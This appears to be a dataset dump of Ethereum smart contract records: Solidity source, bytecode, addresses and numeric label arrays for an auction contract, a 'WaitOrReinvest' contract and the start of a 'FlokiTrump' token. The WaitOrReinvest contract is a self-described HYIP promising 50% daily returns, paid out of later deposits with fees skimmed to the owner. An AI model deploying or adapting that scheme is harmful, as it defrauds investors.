auctions[_auctionId].executeTime = now + (_duration * 1 minutes) + defaultExecuteTime; emit RestartAuction(_auctionId); } function migrateAuction(uint _auctionId, address _newAuction) external { require(auctions[_auctionId].exists); require(!auctions[_auctionId].executed); require(msg.sender == auctions[_auctionId].owner); require(now > auctions[_auctionId].executeTime); require(ERC721Interface(auctions[_auctionId].token).approve(_newAuction, auctions[_auctionId].tokenId)); require(NewAuctionContract(_newAuction).receiveAuction( auctions[_auctionId].token, auctions[_auctionId].tokenId, auctions[_auctionId].startPrice, auctions[_auctionId].stopTime )); } function ownerAuctionCount(address _owner) external view returns (uint256) { return ownedAuctions[_owner].length; } function auctionsOf(address _owner) external view returns (uint256[]) { return ownedAuctions[_owner]; } function addAcceptedToken(address _token) onlyAdmin external { require(_token != address(0)); acceptedTokens[_token] = true; emit AddAcceptedToken(_token); } function delAcceptedToken(address _token) onlyAdmin external { require(acceptedTokens[_token]); acceptedTokens[_token] = false; emit DelAcceptedToken(_token); } function addWhiteList(address _address) onlyAdmin external { require(_address != address(0)); whiteList[_address] = true; emit AddWhiteList(_address); } function delWhiteList(address _address) onlyAdmin external { require(whiteList[_address]); whiteList[_address] = false; emit DelWhiteList(_address); } function setDefaultExecuteTime(uint _hours) onlyAdmin external { defaultExecuteTime = _hours * 1 hours; } function setAuctionFee(uint _fee) onlyAdmin external { auctionFee = _fee; } function setGasInTokens(uint _gasInTokens) onlyAdmin external { gasInTokens = _gasInTokens; } function setMinDuration(uint _minDuration) onlyAdmin external { minDuration = _minDuration; } function setMaxDuration(uint _maxDuration) onlyAdmin external { maxDuration = _maxDuration; } function setProfitAddress(address _profitAddress) onlyOwner external { require(_profitAddress != address(0)); profitAddress = _profitAddress; } function isAcceptedToken(address _token) public view returns (bool) { return acceptedTokens[_token]; } function inWhiteList(address _address) public view returns (bool) { return whiteList[_address]; } function withdrawTokens() onlyAdmin public { require(arconaToken.balanceOf(this) > 0); arconaToken.transfer(profitAddress, arconaToken.balanceOf(this)); } //1% - 100, 10% - 1000 50% - 5000 function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) { uint _amount = _value.mul(_percent).div(10000); return (_amount); } function destruct() onlyOwner public { selfdestruct(owner); } }
0x6080604052600436106101e25763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663100a0ed1811461023e578063123702e21461028257806314525b6b146102b35780631674bade146102da5780631a9aa710146102f25780631da835501461031357806324d7806c1461033d57806329d592bf1461035e5780632b68b9c61461037357806333a87ade14610388578063372c12b11461039d5780633b6e750f146103be5780633eee83f1146103df57806345262b05146104005780635671576114610418578063571a26a01461042d578063605e5ee1146104ad57806361beb1d7146104ce57806362d91855146104f857806369e0e346146105195780636db5c8fd1461053a578063704802751461054f5780638059382a14610570578063810869181461058857806382cf114c146105a957806382dc4a05146105ca5780638d8f2adb146105eb5780638da5cb5b1461060057806396b5a75514610615578063a87430ba1461062d578063c70fe6bd1461064e578063c824a22214610672578063cf0f34c4146106e3578063e1d2f649146106fb578063e4b50cb814610719578063e7cd4a0414610731578063eba39dab14610752578063f2fde38b14610776578063f59e754c14610797575b3360009081526005602052604090205460ff16151561023c5733600081815260056020526040808220805460ff19166001179055517f93e8ef53fa1762269961bdc02811e560fa10787f7f2f9c13f74ddad8221614d29190a25b005b34801561024a57600080fd5b5061026e600160a060020a03600435811690602435166044356064356084356107af565b604080519115158252519081900360200190f35b34801561028e57600080fd5b50610297610848565b60408051600160a060020a039092168252519081900360200190f35b3480156102bf57600080fd5b506102c8610857565b60408051918252519081900360200190f35b3480156102e657600080fd5b5061023c60043561085d565b3480156102fe57600080fd5b506102c8600160a060020a0360043516610876565b34801561031f57600080fd5b5061023c600160a060020a0360043516602435604435606435610891565b34801561034957600080fd5b5061026e600160a060020a03600435166109da565b34801561036a57600080fd5b506102976109f8565b34801561037f57600080fd5b5061023c610a07565b34801561039457600080fd5b506102c8610a2c565b3480156103a957600080fd5b5061026e600160a060020a0360043516610a32565b3480156103ca57600080fd5b5061026e600160a060020a0360043516610a47565b3480156103eb57600080fd5b5061023c600160a060020a0360043516610a65565b34801561040c57600080fd5b5061023c600435610ada565b34801561042457600080fd5b506102c8610af7565b34801561043957600080fd5b50610445600435610afd565b60408051600160a060020a039b8c168152998b1660208b015289810198909852606089019690965260808801949094529190961660a086015260c085019590955260e08401949094529215156101008301529115156101208201529051908190036101400190f35b3480156104b957600080fd5b5061023c600160a060020a0360043516610b64565b3480156104da57600080fd5b5061026e600160a060020a0360043516602435604435606435610be8565b34801561050457600080fd5b5061023c600160a060020a0360043516610c36565b34801561052557600080fd5b5061026e600160a060020a0360043516610cbd565b34801561054657600080fd5b506102c8610cdb565b34801561055b57600080fd5b5061023c600160a060020a0360043516610ce1565b34801561057c57600080fd5b5061023c600435610d5c565b34801561059457600080fd5b5061023c600160a060020a0360043516610d75565b3480156105b557600080fd5b5061023c600160a060020a0360043516610df9565b3480156105d657600080fd5b5061026e600160a060020a0360043516610e54565b3480156105f757600080fd5b5061023c610e69565b34801561060c57600080fd5b5061029761104b565b34801561062157600080fd5b5061023c60043561105a565b34801561063957600080fd5b5061026e600160a060020a03600435166111d2565b34801561065a57600080fd5b5061023c600435600160a060020a03602435166111e7565b34801561067e57600080fd5b50610693600160a060020a03600435166113fa565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156106cf5781810151838201526020016106b7565b505050509050019250505060405180910390f35b3480156106ef57600080fd5b5061023c600435611466565b34801561070757600080fd5b5061023c60043560243560443561147f565b34801561072557600080fd5b5061023c60043561156a565b34801561073d57600080fd5b5061023c600160a060020a03600435166118b9565b34801561075e57600080fd5b506102c8600160a060020a036004351660243561192e565b34801561078257600080fd5b5061023c600160a060020a036004351661194b565b3480156107a357600080fd5b5061023c6004356119df565b60006107ba85610a47565b15156107c557600080fd5b600d5482101580156107d95750600e548211155b15156107e457600080fd5b6107f186868686866119f8565b5060408051600160a060020a0380891682526020820187905287168183015290517f52cf95338051277639fa0945f1014440443e26a47d16f0ccfd0f11c543b574969181900360600190a150600195945050505050565b600f54600160a060020a031681565b600b5481565b610866336109da565b151561087157600080fd5b600d55565b600160a060020a031660009081526008602052604090205490565b61089a336109da565b15156108a557600080fd5b600083815260066020526040902060080154610100900460ff1615156108ca57600080fd5b60008381526006602052604090206008015460ff16156108e957600080fd5b600083815260066020526040902060040154421161090657600080fd5b60008381526006602052604090206003015482101561092457600080fd5b600083815260066020526040812060058101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03881617905560070183905581111561098457600083815260066020819052604090912042603c8402019101555b60408051600160a060020a0386168152602081018590528082018490526060810183905290517f6df7f1ac1af0d9df17b3f57818b7c7fb72d75e2acdbf61fca4bc5971619823ce9181900360800190a150505050565b600160a060020a031660009081526001602052604090205460ff1690565b600254600160a060020a031681565b600054600160a060020a03163314610a1e57600080fd5b600054600160a060020a0316ff5b600c5481565b60046020526000908152604090205460ff1681565b600160a060020a031660009081526003602052604090205460ff1690565b610a6e336109da565b1515610a7957600080fd5b600160a060020a0381161515610a8e57600080fd5b600160a060020a038116600081815260036020526040808220805460ff19166001179055517f8d12536a26e1c757d393b039469ce97499ed4a5c39f067cd950f9295a269061b9190a250565b610ae3336109da565b1515610aee57600080fd5b610e1002600a55565b600d5481565b6006602081905260009182526040909120805460018201546002830154600384015460048501546005860154968601546007870154600890970154600160a060020a0396871698958716979496939592949390921692909160ff808216916101009004168a565b610b6d336109da565b1515610b7857600080fd5b600160a060020a03811660009081526004602052604090205460ff161515610b9f57600080fd5b600160a060020a038116600081815260046020526040808220805460ff19169055517f4be8d593c63e0ba664ad9b6f5158c6dbb2553758fbeb4e947d2e0fb93e34c0ab9190a250565b6000610bf385610a47565b1515610bfe57600080fd5b600d548210158015610c125750600e548211155b1515610c1d57600080fd5b610c2a33868686866119f8565b50600195945050505050565b600054600160a060020a03163314610c4d57600080fd5b600160a060020a03811660009081526001602052604090205460ff161515610c7457600080fd5b600160a060020a038116600081815260016020526040808220805460ff19169055517fb6932914dcfc2a1d602e4e0cd9f9d99dc9640ccfc789b1b83a691fc0c90c24c39190a250565b600160a060020a031660009081526004602052604090205460ff1690565b600e5481565b600054600160a060020a03163314610cf857600080fd5b600160a060020a0381161515610d0d57600080fd5b600160a060020a0381166000818152600160208190526040808320805460ff1916909217909155517fad6de4452a631e641cb59902236607946ce9272b9b981f2f80e8d129cb9084ba9190a250565b610d65336109da565b1515610d7057600080fd5b600c55565b610d7e336109da565b1515610d8957600080fd5b600160a060020a03811660009081526003602052604090205460ff161515610db057600080fd5b600160a060020a038116600081815260036020526040808220805460ff19169055517f069d00d2f2dbd28f23c2700b746dcb098284ac37ffe50573648bbdd69ff9d4909190a250565b600054600160a060020a03163314610e1057600080fd5b600160a060020a0381161515610e2557600080fd5b600f805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60036020526000908152604090205460ff1681565b610e72336109da565b1515610e7d57600080fd5b600254604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b158015610ee257600080fd5b505af1158015610ef6573d6000803e3d6000fd5b505050506040513d6020811015610f0c57600080fd5b505111610f1857600080fd5b600254600f54604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a039384169363a9059cbb93169184916370a08231916024808201926020929091908290030181600087803b158015610f8b57600080fd5b505af1158015610f9f573d6000803e3d6000fd5b505050506040513d6020811015610fb557600080fd5b5051604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561101d57600080fd5b505af1158015611031573d6000803e3d6000fd5b505050506040513d602081101561104757600080fd5b5050565b600054600160a060020a031681565b600081815260066020526040902060080154610100900460ff16151561107f57600080fd5b60008181526006602052604090206008015460ff161561109e57600080fd5b600081815260066020526040902054600160a060020a031633146110c157600080fd5b6000818152600660208190526040909120015442116110df57600080fd5b60008181526006602090815260408083206001810154815460029092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169363a9059cbb93604480850194919392918390030190829087803b15801561116557600080fd5b505af1158015611179573d6000803e3d6000fd5b505050506040513d602081101561118f57600080fd5b5051151561119c57600080fd5b6040805182815290517fbea0e66c2d42b9131695ceea7d1aaa21b37e93070cde19c9b5fbd686a32592929181900360200190a150565b60056020526000908152604090205460ff1681565b600082815260066020526040902060080154610100900460ff16151561120c57600080fd5b60008281526006602052604090206008015460ff161561122b57600080fd5b600082815260066020526040902054600160a060020a0316331461124e57600080fd5b60008281526006602081905260409091200154421161126c57600080fd5b6000828152600660209081526040808320600181015460029091015482517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301526024820192909252925191169363095ea7b393604480850194919392918390030190829087803b1580156112f057600080fd5b505af1158015611304573d6000803e3d6000fd5b505050506040513d602081101561131a57600080fd5b5051151561132757600080fd5b600082815260066020908152604080832060018101546002820154600383015460049384015485517fb783508c000000000000000000000000000000000000000000000000000000008152600160a060020a039485169581019590955260248501929092526044840152606483015291519185169363b783508c9360848084019491939192918390030190829087803b1580156113c357600080fd5b505af11580156113d7573d6000803e3d6000fd5b505050506040513d60208110156113ed57600080fd5b5051151561104757600080fd5b600160a060020a03811660009081526008602090815260409182902080548351818402810184019094528084526060939283018282801561145a57602002820191906000526020600020905b815481526020019060010190808311611446575b50505050509050919050565b61146f336109da565b151561147a57600080fd5b600e55565b600083815260066020526040902060080154610100900460ff1615156114a457600080fd5b60008381526006602052604090206008015460ff16156114c357600080fd5b600083815260066020526040902054600160a060020a031633146114e657600080fd5b60008381526006602081905260409091200154421161150457600080fd5b6000838152600660208181526040928390206003810186905542603c86020160048201819055600a5401920191909155815185815291517f4026f0fcda522fa75132cf30fa90ee1dd7890120be3ce3ec5cf9f78694b5946a9281900390910190a1505050565b6000818152600660205260408120600801548190610100900460ff16151561159157600080fd5b60008381526006602052604090206008015460ff16156115b057600080fd5b600083815260066020819052604090912001544211156115cf57600080fd5b600083815260066020526040902060050154600160a060020a031633146115f557600080fd5b60008381526006602090815260408083206007015460025482517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018390529251919650600160a060020a0316936323b872dd93606480850194919392918390030190829087803b15801561167a57600080fd5b505af115801561168e573d6000803e3d6000fd5b505050506040513d60208110156116a457600080fd5b505115156116b157600080fd5b6116ba33610cbd565b15156116f5576116cc82600b54611d1e565b600c549091506116f2906116e6848463ffffffff611d5016565b9063ffffffff611d5016565b91505b60025460008481526006602090815260408083205481517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03918216600482015260248101889052915194169363a9059cbb93604480840194938390030190829087803b15801561176e57600080fd5b505af1158015611782573d6000803e3d6000fd5b505050506040513d602081101561179857600080fd5b505060008381526006602090815260408083206001810154600582015460029092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169363a9059cbb93604480850194919392918390030190829087803b15801561182357600080fd5b505af1158015611837573d6000803e3d6000fd5b505050506040513d602081101561184d57600080fd5b5051151561185a57600080fd5b600083815260066020908152604091829020600801805460ff191660011790558151858152339181019190915281517fe845626ba2a08ab4c2056f4bc64b91bcbe039c8c7fc3e7def11408870cf5409c929181900390910190a1505050565b6118c2336109da565b15156118cd57600080fd5b600160a060020a03811615156118e257600080fd5b600160a060020a038116600081815260046020526040808220805460ff19166001179055517ff8d5f40934646cedded2cab1b5960f020db583f154fabcf831277b87d1803d139190a250565b600760209081526000928352604080842090915290825290205481565b600054600160a060020a0316331461196257600080fd5b600160a060020a038116151561197757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6119e8336109da565b15156119f357600080fd5b600b55565b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301523060248301526044820186905291516000928716916323b872dd91606480830192602092919082900301818787803b158015611a6a57600080fd5b505af1158015611a7e573d6000803e3d6000fd5b505050506040513d6020811015611a9457600080fd5b50511515611aa157600080fd5b6101406040519081016040528087600160a060020a0316815260200186600160a060020a0316815260200185815260200184815260200183603c02420181526020016000600160a060020a03168152602001600a5484603c024201018152602001600081526020016000151581526020016001151581525060066000600960008154600101919050819055815260200190815260200160002060008201518160000160006101000a815481600160a060020a030219169083600160a060020a0316021790555060208201518160010160006101000a815481600160a060020a030219169083600160a060020a0316021790555060408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a815481600160a060020a030219169083600160a060020a0316021790555060c0820151816006015560e082015181600701556101008201518160080160006101000a81548160ff0219169083151502179055506101208201518160080160016101000a81548160ff0219169083151502179055509050506009546007600087600160a060020a0316600160a060020a031681526020019081526020016000206000868152602001908152602001600020819055506008600087600160a060020a0316600160a060020a03168152602001908152602001600020600954908060018154018082558091505090600182039060005260206000200160009091929091909150555085600160a060020a03167fc078426956212265671526c1abdaea1311badbf1505fe0711db77bca2fa9afae85600954604051808381526020018281526020019250505060405180910390a25060095495945050505050565b600080611d43612710611d37868663ffffffff611d6216565b9063ffffffff611d9416565b90508091505b5092915050565b600082821115611d5c57fe5b50900390565b600080831515611d755760009150611d49565b50828202828482811515611d8557fe5b0414611d8d57fe5b9392505050565b6000808284811515611da257fe5b049493505050505600a165627a7a7230582018fd614ebc358a7dd8bb73511c7304e9a3214760960aea6a9e8ef7405c29c0ae0029
[ 16, 7, 9, 27 ]
0xf319ac2acc22421fcde856df0c009450a772fc05
pragma solidity ^0.4.24; /** * WaitOrReinvest HYIP strategy: Withdraw dividends will reduce investments. Reinvest dividends will increase investments. 50% dividends per day. */ contract WaitOrReinvest{ using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => address) referrer; uint256 public stepUp = 50; //50% per day address public ownerWallet; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Сonstructor Sets the original roles of the contract */ constructor() public { ownerWallet = msg.sender; } /** * @dev Modifiers */ modifier onlyOwner() { require(msg.sender == ownerWallet); _; } /** * @dev Allows current owner to transfer control of the contract to a newOwner. * @param newOwnerWallet The address to transfer ownership to. */ function transferOwnership(address newOwnerWallet) public onlyOwner { require(newOwnerWallet != address(0)); emit OwnershipTransferred(ownerWallet, newOwnerWallet); ownerWallet = newOwnerWallet; } /** * @dev Investments */ function () public payable { invest(address(0)); } function invest(address _ref) public payable { require(msg.value >= 0); if (investments[msg.sender] > 0){ reinvest(); } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = now; uint256 dfFee = msg.value.div(100).mul(5); //dev or ref fee ownerWallet.transfer(dfFee); if (referrer[msg.sender] == address(0) && address(_ref) > 0 && address(_ref) != msg.sender) referrer[msg.sender] = _ref; address ref = referrer[msg.sender]; if (ref > 0 ) ref.transfer(dfFee); // bounty program emit Invest(msg.sender, msg.value); } function reinvest() public { require(investments[msg.sender] > 0); require((now - joined[msg.sender]) > 5); uint256 balance = getDivsBalance(msg.sender); uint256 dfFee = balance.div(100).mul(5); //dev or ref fee if (address(this).balance > dfFee) { address ref = referrer[msg.sender]; if (ref != address(0)) ref.transfer(dfFee); // bounty program else ownerWallet.transfer(dfFee); // or dev fee balance = balance.sub(dfFee); } investments[msg.sender] += balance; joined[msg.sender] = now; } /** * @dev Evaluate current balance * @param _address Address of investor */ function getDivsBalance(address _address) view public returns (uint256) { uint256 secondsCount = now.sub(joined[_address]); uint256 percentDivs = investments[_address].mul(stepUp).div(100); uint256 dividends = percentDivs.mul(secondsCount).div(86400); return dividends; } /** * @dev Withdraw dividends from contract */ function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getDivsBalance(msg.sender); if (address(this).balance > balance){ if (balance > 0){ joined[msg.sender]=now; msg.sender.transfer(balance); if (investments[msg.sender] > balance) investments[msg.sender] = SafeMath.sub(investments[msg.sender],balance); else investments[msg.sender] = 0; emit Withdraw(msg.sender, balance); } return true; } else { return false; } } /** * @dev Gets balance of the sender address. * @return An uint256 representing the amount owned by the msg.sender. */ function checkDivsBalance() public view returns (uint256) { return getDivsBalance(msg.sender); } /** * @dev Gets investments of the specified address. * @param _investor The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806303f9c793146100a557806311a94a2e146100db5780633ccfd60b14610106578063835c11541461013557806385b3b2eb1461018c5780639335dcb7146101e3578063c8e626f81461023a578063f2fde38b14610265578063fdb5a03e146102a8575b6100a360006102bf565b005b6100d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102bf565b005b3480156100e757600080fd5b506100f0610731565b6040518082815260200191505060405180910390f35b34801561011257600080fd5b5061011b610737565b604051808215151515815260200191505060405180910390f35b34801561014157600080fd5b50610176600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109de565b6040518082815260200191505060405180910390f35b34801561019857600080fd5b506101cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a26565b6040518082815260200191505060405180910390f35b3480156101ef57600080fd5b506101f8610b1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024657600080fd5b5061024f610b43565b6040518082815260200191505060405180910390f35b34801561027157600080fd5b506102a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b53565b005b3480156102b457600080fd5b506102bd610cab565b005b600080600034101515156102d257600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561032257610321610cab565b5b610373346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f9890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506104206005610412606434610fb690919063ffffffff16565b610fd190919063ffffffff16565b9150600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561048a573d6000803e3d6000fd5b50600073ffffffffffffffffffffffffffffffffffffffff16600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561053c575060008373ffffffffffffffffffffffffffffffffffffffff16115b801561057457503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156105f85782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1611156106c1578073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156106bf573d6000803e3d6000fd5b505b7fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e3334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b60035481565b6000806000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561078857600080fd5b61079133610a26565b9050803073ffffffffffffffffffffffffffffffffffffffff163111156109d55760008111156109cc5742600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610845573d6000803e3d6000fd5b50806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561091b576108d46000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261100c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610960565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b7f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243643382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b600191506109da565b600091505b5090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600080610a7e600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261100c90919063ffffffff16565b9250610ae66064610ad86003546000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fd190919063ffffffff16565b610fb690919063ffffffff16565b9150610b1062015180610b028585610fd190919063ffffffff16565b610fb690919063ffffffff16565b9050809350505050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b4e33610a26565b905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610baf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610beb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610cfc57600080fd5b6005600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544203111515610d4c57600080fd5b610d5533610a26565b9250610d7e6005610d70606486610fb690919063ffffffff16565b610fd190919063ffffffff16565b9150813073ffffffffffffffffffffffffffffffffffffffff16311115610f0357600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610e83578073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610e7d573d6000803e3d6000fd5b50610eed565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610eeb573d6000803e3d6000fd5b505b610f00828461100c90919063ffffffff16565b92505b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000808284019050838110151515610fac57fe5b8091505092915050565b6000808284811515610fc457fe5b0490508091505092915050565b6000806000841415610fe65760009150611005565b8284029050828482811515610ff757fe5b0414151561100157fe5b8091505b5092915050565b600082821115151561101a57fe5b8183039050929150505600a165627a7a7230582026c84c4385e51c1ac68b47c6824727fed9068ab73fe0aea01c7cc65be59f7fde0029
[ 4, 19 ]
0xf319bbe73da91a22b0ab3158b41e86f0f76c66a2
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiTrump is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Floki Trump"; string private constant _symbol = "FlokiTrump"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; 